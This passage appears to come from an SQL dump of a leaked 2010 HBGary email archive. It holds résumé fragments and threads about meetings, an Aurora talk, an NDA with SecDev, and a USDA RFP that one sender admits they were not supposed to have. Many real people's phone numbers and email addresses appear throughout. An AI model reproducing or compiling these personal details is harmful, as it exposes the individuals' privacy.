strategies and objectives\r\n\r\n May 1994 to May 1995: Threat Warning Analyst USAF, 303\r\nrd  Intelligence Squadron, Osan AFB, Osan, Korea\r\n \r\nHandled administrative and operational reconnaissance issues pertaining to the 24/7 Joint Reconnaissance Desk\r\n\r\nProvided threat warning to U.S. reconnaissance aircraft ensuring safety of crew and equipment\r\nCoordinated information exchange with host country analysts resulting in increased intelligence\r\nCertified as operator and trainer on three critical watch floor analytical positions; primary trainer for 8\r\n airmen  \r\nFeb 1991 to Apr 1994: Radio Communications Analyst \r\nUSAF, 22nd Intelligence Squadron, National Security Agency, Fort Meade, Maryland \r\n \r\nConducted in-depth analysis of former Soviet Union activities\r\n\r\nDiscovered large communications network; provided information on ballistic missilesCorrelated data with fellow analysts to stockpile information for communications changes\r\n \r\nNov 1988 to Jan\r\n1991: Operations Communications (OPSCOMM) Analyst / Technical Reporter\r\nUSAF, HQ ESC, 6913th Electronic Security Squadron, \r\nAugsburg, Germany \r\nTracked target aircraft to keep senior watch floor personnel abreast of activity in a 24/7 work environment\r\nInteracted with analysts from additional\r\nfield sites, correlating dataProduced/disseminated 50+ technical reports to theater and national-level commanders on a daily basis\r\n \r\n\r\nEDUCATION\r\nCareer Development Course Writer’s Course, Keesler Air Force Base, 2009\r\nTechnical Writer, Goodfellow Air Force Base, 2007\r\nComputer-Based Instruction Designer,\r\n Goodfellow Air Force Base, 2007AAS, Instructor of Technology and Military Science, Community College of the Air Force, 2006  \r\nTechnical Writer Principles, Goodfellow Air Force Base, 2006\r\nAAS, Communication Applications Technology,\r\n Community College of the Air Force, 2005Training Supervisor, Goodfellow Air Force Base, 2005\r\nTechnical Training Teaching Internship, Goodfellow Air Force Base, 2005\r\nObjectives and Tests, \r\nGoodfellow Air Force Base, 2005Instructional Systems Development, Keesler Air Force Base, 2005\r\nBasic Instructor Course, Goodfellow Air Force Base, 2004\r\nNon-Commisioned Officer Professional Military Education, Maxwell-Gunter Air Force Base, 2003 \r\n\r\nAirman Leadership School, Ft. Meade, 1991\r\n \r\n AWARDS \r\nMeritorious Service Medal, Iraq 2009, Texas 2009\r\nNSA Innovative Instructor of Year Team Award, Joint Service Commendation Medal, NSA 2009\r\nMaster Instructor Certification, Texas, 2007\r\n\r\nJoint Service Commendation Medal, NSA 2004\r\nJoint Service Achievement Medal, NSA 2001\r\nAir Force Achievement Medal, Germany 1991, Korea 1994\r\n\r\nJohn Levitow Award winner, Aiman Leadership School, Ft. Meade, 1991\r\n \r\n\r\n\r\n\r\n\r\n		\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSUMMARY\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Locations:\r\nSelected Locations:\r\nUS-MD-Frederick/Hagerstown\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n	\r\n	\r\n	\r\n	\r\n		\r\n	\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10825,'aaron_hbgary_com/10825.html'),(5799,'2010-04-29','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297004243.M486107P14101Q654.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Lunch tomorrow.','Aaron,\r\n\r\nI am in Huntsville today, but should get back late tonight. I think  \r\nwe\'ll be good for lunch tomorrow, can we touch base in the morning?\r\n\r\n\r\n\r\nOn Apr 28, 2010, at 9:51 PM, Aaron Barr  wrote:\r\n\r\n> Hey Irby,\r\n>\r\n> Hows your Friday look?\r\n>\r\n> I have been in discussions with Paul.  We signed a TA with them last  \r\n> week.  I talked about our team for Cyber Genome.  Lets discuss when  \r\n> we get together.\r\n>\r\n> Aaron\r\n>\r\n> On Apr 26, 2010, at 4:05 PM, Irby Thompson wrote:\r\n>\r\n>> I\'m out of town Wed-Thurs. I have a 2PM meeting Friday, but it may  \r\n>> get moved. I\'ll check back with you on Wednesday and see if we can  \r\n>> get together on Friday.\r\n>>\r\n>> Also, have you been in discussions with Paul Rooney from CSC?\r\n>>\r\n>>    Regards,\r\n>>    Irby\r\n>>\r\n>>\r\n>> On Apr 26, 2010, at 3:46 PM, Aaron Barr wrote:\r\n>>\r\n>>> Irby,\r\n>>>\r\n>>> I am stuck tomorrow bouncing all over.  I am pretty open wed- \r\n>>> thurs. and can get together from 1pm on on Friday.\r\n>>> Aaron\r\n>>>\r\n>>> On Apr 26, 2010, at 3:40 PM, Irby Thompson wrote:\r\n>>>\r\n>>>> My noon meeting tomorrow just got moved. You still interested in  \r\n>>>> lunch?\r\n>>>>\r\n>>>>        -irby\r\n>>>>\r\n>>>>\r\n>>>> On Apr 26, 2010, at 3:14 PM, Aaron Barr wrote:\r\n>>>>\r\n>>>>> hmmm... my 2 bad days this week.  multiple meetings tomorrow and  \r\n>>>>> a 930-1100am up at NSA on Friday.  Could maybe do 1pm or so on  \r\n>>>>> Friday.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>>\r\n>>>>> On Apr 26, 2010, at 12:47 PM, Irby Thompson wrote:\r\n>>>>>\r\n>>>>>> Aaron,\r\n>>>>>>\r\n>>>>>> I have a call at noon tomorrow, you want to grab lunch before  \r\n>>>>>> that or afterwards? Otherwise, we could try on Friday.\r\n>>>>>>\r\n>>>>>>    -Irby\r\n>>>>>\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>>\r\n>>>>\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',4892,'aaron_hbgary_com/4892.html'),(5800,'2010-04-29','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297004243.M717109P14101Q655.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: USDA info','Bob / Penny / Rich / Aaron\r\n \r\nI have a copy of the USDA RFP sent to 6 system integrators.  The requirements were written by Harris so they are not bidding.  Malware detection is a large component.  Strangely it implies a Damballa like solution as a preface to the malware detection requirements.....   \r\n\r\n \r\nIt is odd that none of BPA holders have contacted HBGary.  We need to work fast because the RFP is due May 7th...   The USDA received $44 million to build out a SOC.\r\n \r\nFYI / Background Rich has met twice with Harris and they have stated they want to purchase 1,400 nodes this year but we don&#39;t necessarily trust the Harris relationship.  If this RFP is written &quot;not for&quot; HBGary then we should protest because Harris has a conflict of interest with HBGary.  I heard that Patriot is protesting....\r\n\r\n \r\nWe are not suppose to have a copy of the RFP and have been asked not to disclose our source...\r\n\r\n\r\n\r\nMaria,\r\nPer our conversation, security services BPA holders are. \r\n \r\nUnisys\r\nNelson E. Scott\r\nNelson.Scott@unisys.com\r\nwork 571-449-6192 \r\n \r\nCSC\r\nJim King\r\nAccount Director - Environment, Agriculture and Natural Resources CSC\r\n655 15th Street, NW, Suite 500, Washington, DC 20005 Civil Division | office: 202.741.4304 | mobile: 703.963.4533 | fax:\r\n703.461.2020 | jking46@csc.com |www.csc.com/environment\r\n \r\nWilliam BowersPrincipal Security EngineerCSC6000 Lincoln Drive Marlton, NJ 08053GSS  | Office: 856-985-6720 |  Cell: 609-975-3887  | Fax: 856-985-8912 |  wbowers4@csc.com  | www.csc.com\r\n\r\n \r\nVerizon Business\r\nBusiness contact \r\nReginald Hendricks\r\nReginald.hendricks@verizonbusiness.com\r\n703-284-4602\r\n \r\nTechnical contact\r\nAndre Chinn\r\n\r\nSr. Solutions Consultant\r\n\r\nFederal Civilian Agencies\r\n\r\nOffice: 703.886.8229\r\n\r\nMobile: 571.246.3041\r\n\r\nandre.chinn@verizonbusiness.com\r\n\r\n \r\nMantech\r\nBD Lead: \r\nVince Lively, (703)388-2131, vince.lively@mantech.com\r\nOps Lead:\r\nJamey Dillon, (703)388-0364, Jamey.dillon@mantech.com\r\n \r\nKLC\r\nS. David Warman\r\nKLC Network Services, Inc.\r\nEVP &amp; COO\r\nMobile: 240-367-5717\r\nsdwarman@klcnetworks.com\r\n -- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n',15627,'aaron_hbgary_com/15627.html'),(5801,'2010-04-29','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297004244.M309956P14101Q657.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Aurora Talk','Aaron,\r\n\r\nI currently have the following open:\r\n\r\n6 May at 1130\r\n7 May at 1530\r\n10 May at 1300\r\n\r\nDo any of these work for you?\r\n\r\nScott\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, April 28, 2010 10:53 PM\r\nTo: Sheldon, Scott W.\r\nSubject: Re: Aurora Talk\r\n\r\nScott,\r\n\r\nThanks again for inviting me to talk on Aurora.  Let me know a few good dates \r\nwe could get together and talk.\r\n\r\nAaron\r\n\r\nOn Apr 26, 2010, at 3:38 PM, Sheldon, Scott W. wrote:\r\n\r\n> Aaron,\r\n>\r\n> The easiest thing for me is if you\'re comfortable e-mailing the\r\n> Powerpoint presentation to me today or early tomorrow.\r\n>\r\n> That way I can get it all loaded up on my account and have everything\r\n> set to go when you get here.\r\n>\r\n> Scott\r\n>\r\n> -----Original Message-----\r\n> From: Estell, Timothy W.\r\n> Sent: Monday, April 26, 2010 11:37 AM\r\n> To: Aaron Barr\r\n> Cc: Sheldon, Scott W.\r\n> Subject: RE: Aurora Talk\r\n>\r\n> Either or both the laptop and thumb drive.\r\n>\r\n> Scott?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, April 26, 2010 11:34 AM\r\n> To: Estell, Timothy W.\r\n> Subject: Re: Aurora Talk\r\n>\r\n> Great.  Should I bring the presentation on a laptop and plug in or on a\r\n> thumb drive, or email?\r\n>\r\n> Aaron\r\n>\r\n> On Apr 26, 2010, at 11:32 AM, Estell, Timothy W. wrote:\r\n>\r\n>> It\'s at 6841 Benjamin Franklin Drive, Columbia MD 21046.\r\n>>\r\n>> As you walk in the front door you\'ll see the conference center doors.\r\n>> We\'ll meet on the ground floor.\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, April 26, 2010 9:31 AM\r\n>> To: Estell, Timothy W.\r\n>> Subject: Aurora Talk\r\n>>\r\n>> Hey Tim,\r\n>>\r\n>> Can you send me the location of the talk for tomorrow?\r\n>>\r\n>> Thanks,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>> \r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16184,'aaron_hbgary_com/16184.html'),(5802,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004244.M544816P14101Q658.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,','Re: USDA info','Who are the holders?From my iPhoneOn Apr 29, 2010, at 12:07 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nBob / Penny / Rich / Aaron\r\n \r\nI have a copy of the USDA RFP sent to 6 system integrators.  The requirements were written by Harris so they are not bidding.  Malware detection is a large component.  Strangely it implies a Damballa like solution as a preface to the malware detection requirements.....   \r\n\r\n\r\n \r\nIt is odd that none of BPA holders have contacted HBGary.  We need to work fast because the RFP is due May 7th...   The USDA received $44 million to build out a SOC.\r\n \r\nFYI / Background Rich has met twice with Harris and they have stated they want to purchase 1,400 nodes this year but we don&#39;t necessarily trust the Harris relationship.  If this RFP is written &quot;not for&quot; HBGary then we should protest because Harris has a conflict of interest with HBGary.  I heard that Patriot is protesting....\r\n\r\n\r\n \r\nWe are not suppose to have a copy of the RFP and have been asked not to disclose our source...\r\n\r\n\r\n\r\nMaria,\r\nPer our conversation, security services BPA holders are. \r\n \r\nUnisys\r\nNelson E. Scott\r\nNelson.Scott@unisys.com\r\nwork 571-449-6192 \r\n \r\nCSC\r\nJim King\r\nAccount Director - Environment, Agriculture and Natural Resources CSC\r\n655 15th Street, NW, Suite 500, Washington, DC 20005 Civil Division | office: 202.741.4304 | mobile: 703.963.4533 | fax:\r\n703.461.2020 | jking46@csc.com |www.csc.com/environment\r\n\r\n \r\nWilliam BowersPrincipal Security EngineerCSC6000 Lincoln Drive Marlton, NJ 08053GSS  | Office: 856-985-6720 |  Cell: 609-975-3887  | Fax: 856-985-8912 |  wbowers4@csc.com  | www.csc.com\r\n\r\n\r\n \r\nVerizon Business\r\nBusiness contact \r\nReginald Hendricks\r\nReginald.hendricks@verizonbusiness.com\r\n703-284-4602\r\n \r\nTechnical contact\r\nAndre Chinn\r\n\r\n\r\nSr. Solutions Consultant\r\n\r\n\r\nFederal Civilian Agencies\r\n\r\n\r\nOffice: 703.886.8229\r\n\r\n\r\nMobile: 571.246.3041\r\n\r\n\r\nandre.chinn@verizonbusiness.com\r\n\r\n\r\n \r\nMantech\r\nBD Lead: \r\nVince Lively, (703)388-2131, vince.lively@mantech.com\r\nOps Lead:\r\nJamey Dillon, (703)388-0364, Jamey.dillon@mantech.com\r\n \r\nKLC\r\nS. David Warman\r\nKLC Network Services, Inc.\r\nEVP &amp; COO\r\nMobile: 240-367-5717\r\nsdwarman@klcnetworks.com\r\n -- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n',11324,'aaron_hbgary_com/11324.html'),(5803,'2010-04-29','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297004244.M71141P14101Q656.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: NDA and Collaboration','Hello Aaron,Hope all is well. Would you be available for a call this afternoon?Best wishes,Arnav\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail: a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\nOn 2010-04-20, at 10:35 AM, Aaron Barr wrote:Ah. &nbsp;No rush then. &nbsp;I had twins that were born 7weeks early so I completely understand and sympathize. &nbsp;Let me know when it is convenient.AaronFrom my iPhone\r\nOn Apr 20, 2010, at 10:12 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Hi Aaron,\r\nApologies for not being in touch before - my CEO Rafal Rohozinski\'s wife just had a baby a few weeks premature and there are some medical issues that have to be dealt with that are taking up a lot of his time. I\'ll try and arrange something for later this week or early next.\r\nBest wishes,Arnav\r\nOn 2010-04-19, at 10:54 PM, Aaron Barr wrote:\r\nHi Arnav,Hadn\'t heard from you since sending back the NDA.For you guys what do you see as the next steps?I would like to get together to discuss investigation pursuits and how we can work together to improve and maybe standardize some investigative frameworks for one.\r\nAaronOn Apr 12, 2010, at 2:49 PM, Arnav Manchanda wrote:\r\nDear Aaron,Thanks for your email to Nart, and it was a pleasure to meet you in Washington. We believe there would be a lot of synergy between your malware work and our cyber investigation capabilities, and we would like to continue discussions on this.\r\nWe would be happy to sign an NDA, do send me a copy and we\'ll do a quick turnaround.Best wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1A 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail: a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Date: April 9, 2010 3:40:07 PM EDT\r\nTo: N.villeneuve@secdev.caCc: Ted Vera &lt;ted@hbgary.com&gt;\r\nSubject: NDA and CollaborationNart,It was very nice talking with you at the Palantir conference. &nbsp;I would like to get an NDA in place and talk about how HBGary can help in your research and what other things we might be able to do together.\r\nHow often do you come down to DC?Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',16157,'aaron_hbgary_com/16157.html'),(5804,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004244.M781750P14101Q659.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: NDA and Collaboration','Available now until 3est and then again after 330 or so.AaronFrom my iPhoneOn Apr 29, 2010, at 1:09 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nHello Aaron,Hope all is well. Would you be available for a call this afternoon?Best wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe SecDev Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O&#39;Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice: +1 (613) 755-4007\r\nCell:  +1 (613) 806-4081E-mail: a.manchanda@secdev.ca \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\n\r\nOn 2010-04-20, at 10:35 AM, Aaron Barr wrote:Ah.  No rush then.  I had twins that were born 7weeks early so I completely understand and sympathize.  Let me know when it is convenient.\r\nAaronFrom my iPhone\r\nOn Apr 20, 2010, at 10:12 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nHi Aaron,\r\n\r\nApologies for not being in touch before - my CEO Rafal Rohozinski&#39;s wife just had a baby a few weeks premature and there are some medical issues that have to be dealt with that are taking up a lot of his time. I&#39;ll try and arrange something for later this week or early next.\r\n\r\nBest wishes,Arnav\r\nOn 2010-04-19, at 10:54 PM, Aaron Barr wrote:\r\n\r\nHi Arnav,Hadn&#39;t heard from you since sending back the NDA.For you guys what do you see as the next steps?I would like to get together to discuss investigation pursuits and how we can work together to improve and maybe standardize some investigative frameworks for one.\r\n\r\nAaronOn Apr 12, 2010, at 2:49 PM, Arnav Manchanda wrote:\r\n\r\nDear Aaron,Thanks for your email to Nart, and it was a pleasure to meet you in Washington. We believe there would be a lot of synergy between your malware work and our cyber investigation capabilities, and we would like to continue discussions on this.\r\n\r\nWe would be happy to sign an NDA, do send me a copy and we&#39;ll do a quick turnaround.Best wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe SecDev Group\r\n\r\ncomplexity.engaged\r\n\r\nWorld Exchange Plaza\r\n\r\n45 O&#39;Connor Street, Suite 1150\r\n\r\nOttawa, Ontario K1A 1A4\r\n\r\nOffice: +1 (613) 755-4007\r\n\r\nCell:  +1 (613) 806-4081E-mail: a.manchanda@secdev.ca \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: April 9, 2010 3:40:07 PM EDT\r\nTo: N.villeneuve@secdev.caCc: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\nSubject: NDA and CollaborationNart,It was very nice talking with you at the Palantir conference.  I would like to get an NDA in place and talk about how HBGary can help in your research and what other things we might be able to do together.\r\n\r\nHow often do you come down to DC?Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n',7294,'aaron_hbgary_com/7294.html'),(5805,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004245.M15213P14101Q660.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: USDA info','Can I get a copy.From my iPhoneOn Apr 29, 2010, at 12:07 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nBob / Penny / Rich / Aaron\r\n \r\nI have a copy of the USDA RFP sent to 6 system integrators.  The requirements were written by Harris so they are not bidding.  Malware detection is a large component.  Strangely it implies a Damballa like solution as a preface to the malware detection requirements.....   \r\n\r\n\r\n \r\nIt is odd that none of BPA holders have contacted HBGary.  We need to work fast because the RFP is due May 7th...   The USDA received $44 million to build out a SOC.\r\n \r\nFYI / Background Rich has met twice with Harris and they have stated they want to purchase 1,400 nodes this year but we don&#39;t necessarily trust the Harris relationship.  If this RFP is written &quot;not for&quot; HBGary then we should protest because Harris has a conflict of interest with HBGary.  I heard that Patriot is protesting....\r\n\r\n\r\n \r\nWe are not suppose to have a copy of the RFP and have been asked not to disclose our source...\r\n\r\n\r\n\r\nMaria,\r\nPer our conversation, security services BPA holders are. \r\n \r\nUnisys\r\nNelson E. Scott\r\nNelson.Scott@unisys.com\r\nwork 571-449-6192 \r\n \r\nCSC\r\nJim King\r\nAccount Director - Environment, Agriculture and Natural Resources CSC\r\n655 15th Street, NW, Suite 500, Washington, DC 20005 Civil Division | office: 202.741.4304 | mobile: 703.963.4533 | fax:\r\n703.461.2020 | jking46@csc.com |www.csc.com/environment\r\n\r\n \r\nWilliam BowersPrincipal Security EngineerCSC6000 Lincoln Drive Marlton, NJ 08053GSS  | Office: 856-985-6720 |  Cell: 609-975-3887  | Fax: 856-985-8912 |  wbowers4@csc.com  | www.csc.com\r\n\r\n\r\n \r\nVerizon Business\r\nBusiness contact \r\nReginald Hendricks\r\nReginald.hendricks@verizonbusiness.com\r\n703-284-4602\r\n \r\nTechnical contact\r\nAndre Chinn\r\n\r\n\r\nSr. Solutions Consultant\r\n\r\n\r\nFederal Civilian Agencies\r\n\r\n\r\nOffice: 703.886.8229\r\n\r\n\r\nMobile: 571.246.3041\r\n\r\n\r\nandre.chinn@verizonbusiness.com\r\n\r\n\r\n \r\nMantech\r\nBD Lead: \r\nVince Lively, (703)388-2131, vince.lively@mantech.com\r\nOps Lead:\r\nJamey Dillon, (703)388-0364, Jamey.dillon@mantech.com\r\n \r\nKLC\r\nS. David Warman\r\nKLC Network Services, Inc.\r\nEVP &amp; COO\r\nMobile: 240-367-5717\r\nsdwarman@klcnetworks.com\r\n -- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n',15642,'aaron_hbgary_com/15642.html'),(5806,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004245.M255702P14101Q661.eml','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','Re: Aurora Talk','Scott,\r\n\r\nHow about 7 may.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Apr 29, 2010, at 1:21 PM, \"Sheldon, Scott W.\"  wrote:\r\n\r\n> Aaron,\r\n>\r\n> I currently have the following open:\r\n>\r\n> 6 May at 1130\r\n> 7 May at 1530\r\n> 10 May at 1300\r\n>\r\n> Do any of these work for you?\r\n>\r\n> Scott\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, April 28, 2010 10:53 PM\r\n> To: Sheldon, Scott W.\r\n> Subject: Re: Aurora Talk\r\n>\r\n> Scott,\r\n>\r\n> Thanks again for inviting me to talk on Aurora.  Let me know a few\r\n> good dates\r\n> we could get together and talk.\r\n>\r\n> Aaron\r\n>\r\n> On Apr 26, 2010, at 3:38 PM, Sheldon, Scott W. wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> The easiest thing for me is if you\'re comfortable e-mailing the\r\n>> Powerpoint presentation to me today or early tomorrow.\r\n>>\r\n>> That way I can get it all loaded up on my account and have everything\r\n>> set to go when you get here.\r\n>>\r\n>> Scott\r\n>>\r\n>> -----Original Message-----\r\n>> From: Estell, Timothy W.\r\n>> Sent: Monday, April 26, 2010 11:37 AM\r\n>> To: Aaron Barr\r\n>> Cc: Sheldon, Scott W.\r\n>> Subject: RE: Aurora Talk\r\n>>\r\n>> Either or both the laptop and thumb drive.\r\n>>\r\n>> Scott?\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, April 26, 2010 11:34 AM\r\n>> To: Estell, Timothy W.\r\n>> Subject: Re: Aurora Talk\r\n>>\r\n>> Great.  Should I bring the presentation on a laptop and plug in or\r\n>> on a\r\n>> thumb drive, or email?\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Apr 26, 2010, at 11:32 AM, Estell, Timothy W. wrote:\r\n>>\r\n>>> It\'s at 6841 Benjamin Franklin Drive, Columbia MD 21046.\r\n>>>\r\n>>> As you walk in the front door you\'ll see the conference center\r\n>>> doors.\r\n>>> We\'ll meet on the ground floor.\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Monday, April 26, 2010 9:31 AM\r\n>>> To: Estell, Timothy W.\r\n>>> Subject: Aurora Talk\r\n>>>\r\n>>> Hey Tim,\r\n>>>\r\n>>> Can you send me the location of the talk for tomorrow?\r\n>>>\r\n>>> Thanks,\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>> \r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',10829,'aaron_hbgary_com/10829.html'),(5807,'2010-04-29','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297004245.M504689P14101Q662.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Aurora Talk','Aaron,\r\n\r\nLet\'s meet in the same building where you did the presentation.\r\n\r\nI\'ll meet you on the sixth floor where you\'ll sign in.\r\n\r\nScott\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 29, 2010 2:00 PM\r\nTo: Sheldon, Scott W.\r\nSubject: Re: Aurora Talk\r\n\r\nScott,\r\n\r\nHow about 7 may.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Apr 29, 2010, at 1:21 PM, \"Sheldon, Scott W.\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> I currently have the following open:\r\n>\r\n> 6 May at 1130\r\n> 7 May at 1530\r\n> 10 May at 1300\r\n>\r\n> Do any of these work for you?\r\n>\r\n> Scott\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, April 28, 2010 10:53 PM\r\n> To: Sheldon, Scott W.\r\n> Subject: Re: Aurora Talk\r\n>\r\n> Scott,\r\n>\r\n> Thanks again for inviting me to talk on Aurora.  Let me know a few\r\n> good dates\r\n> we could get together and talk.\r\n>\r\n> Aaron\r\n>\r\n> On Apr 26, 2010, at 3:38 PM, Sheldon, Scott W. wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> The easiest thing for me is if you\'re comfortable e-mailing the\r\n>> Powerpoint presentation to me today or early tomorrow.\r\n>>\r\n>> That way I can get it all loaded up on my account and have everything\r\n>> set to go when you get here.\r\n>>\r\n>> Scott\r\n>>\r\n>> -----Original Message-----\r\n>> From: Estell, Timothy W.\r\n>> Sent: Monday, April 26, 2010 11:37 AM\r\n>> To: Aaron Barr\r\n>> Cc: Sheldon, Scott W.\r\n>> Subject: RE: Aurora Talk\r\n>>\r\n>> Either or both the laptop and thumb drive.\r\n>>\r\n>> 